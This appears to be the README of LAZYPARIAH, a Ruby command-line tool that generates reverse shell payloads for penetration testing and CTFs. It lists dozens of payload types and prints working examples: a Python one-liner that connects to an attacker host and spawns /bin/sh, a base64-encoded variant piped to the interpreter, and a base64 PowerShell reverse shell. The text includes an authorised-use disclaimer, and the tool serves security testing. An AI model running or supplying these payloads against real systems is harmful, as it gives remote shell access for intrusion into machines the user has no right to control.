
A tool for generating reverse shell payloads on the fly.
A low-dependency command-line tool for generating reverse shell payloads on the fly.
LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.
The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem() function: php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsThis tool is intended to be used only in authorised circumstances by qualified penetration testers, security researchers and red team professionals. Before downloading, installing or using this tool, ensure that you understand the relevant laws in your jurisdiction. The author of this tool does not endorse, encourage or condone the use of this tool for illegal or unauthorised purposes.
java_class payloads.)c_binary payloads.)rust_binary payloads.)LAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Display help text and exit.
-l, --license Display license information and exit.
-u, --url URL-encode the payload.
-v, --version Display version information and exit.
-D, --fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads.
-P, --pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
-N, --no-new-line Do not append a new-line character to the end of the payload.
--b64 Encode a c_binary, rust_binary or java_class payload in base-64.
--hex Encode a c_binary, rust_binary or java_class payload in hexadecimal.
--gzip Compress a c_binary, rust_binary or java_class payload using zlib.
--gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
--gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
The payloads listed above are more-or-less systematically named.
Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).
For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).
For example, the command lazypariah python_b64 10.10.14.4 1337 should produce the following output:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
The exception to this is powershell_b64, which uses Powershell's inbuilt base64 decoder. The command lazypariah powershell_b64 10.10.14.4 1337, for instance, should return the following:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Note: The length of the above payload is due to the fact that Powershell uses UTF-16LE encoding, where a single character corresponds to two bytes.)
These types of payloads can be useful in certain situations because they do not include any single or double quotes.